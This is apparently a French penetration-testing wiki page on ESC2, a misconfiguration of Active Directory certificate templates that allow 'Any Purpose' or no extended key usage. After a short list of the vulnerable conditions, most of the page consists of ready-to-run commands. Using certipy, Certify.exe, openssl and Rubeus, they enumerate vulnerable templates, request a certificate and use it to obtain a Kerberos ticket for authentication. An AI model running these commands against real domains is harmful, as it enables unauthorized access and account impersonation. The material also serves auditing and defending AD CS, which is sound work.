Aller au contenu

ESC2

Description

ESC2 exploite des modèles de certificats configurés avec l'Extended Key Usage (EKU) "Any Purpose" ou sans EKU défini, permettant d'utiliser le certificat pour n'importe quel usage, y compris l'authentification.

Conditions vulnérables

Un modèle de certificat est vulnérable à ESC2 si :

  1. Enrollment autorisé - L'utilisateur a les droits Enroll ou AutoEnroll
  2. EKU Any Purpose ou aucun EKU - Une des conditions suivantes :
    • Le modèle a l'EKU Any Purpose (OID: 2.5.29.37.0)
    • Le modèle n'a aucun EKU défini
  3. Pas de signatures requises - CT_FLAG_PEND_ALL_REQUESTS n'est pas activé

Exploitation depuis linux (certipy)

Enumération des templates vulnérables :

certipy find -u [email protected] -p password -target dc01.domain.local

# Énumération avec sortie JSON pour analyse 
certipy find -u [email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json 

# Recherche spécifique des modèles Any Purpose
certipy find -u [email protected] -p password -target dc01.domain.local | grep -i "any purpose\|no eku"

Faire la demande de certificat :

# Demande d'un certificat avec modèle Any Purpose
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'AnyPurposeTemplate'

Authentification avec le certificat reçu :

# Utilisation du certificat pour l'authentification client
certipy auth -pfx user.pfx -username user -domain domain.local -dc-ip 192.168.1.10

# Avec un mot de passe pour le certificat 
certipy auth -pfx user.pfx -password cert_password -username user -domain domain.local -dc-ip 192.168.1.10

Exploitation depuis windows (certify.exe)

Enumération des templates vulnérables :

# Énumération des modèles vulnérables 
Certify.exe find /vulnerable 

# Filtrage spécifique ESC2
Certify.exe find /vulnerable | findstr "Any Purpose"

Faire la demande de certificat :

# Demande d'un certificat avec le modèle vulnérable
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:AnyPurposeTemplate

Authentification avec le certificat reçu :

# Conversion du certificat si nécessaire
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 

# Authentification avec le certificat 
Rubeus.exe asktgt /user:currentuser /certificate:cert.pfx /password:password123 /ptt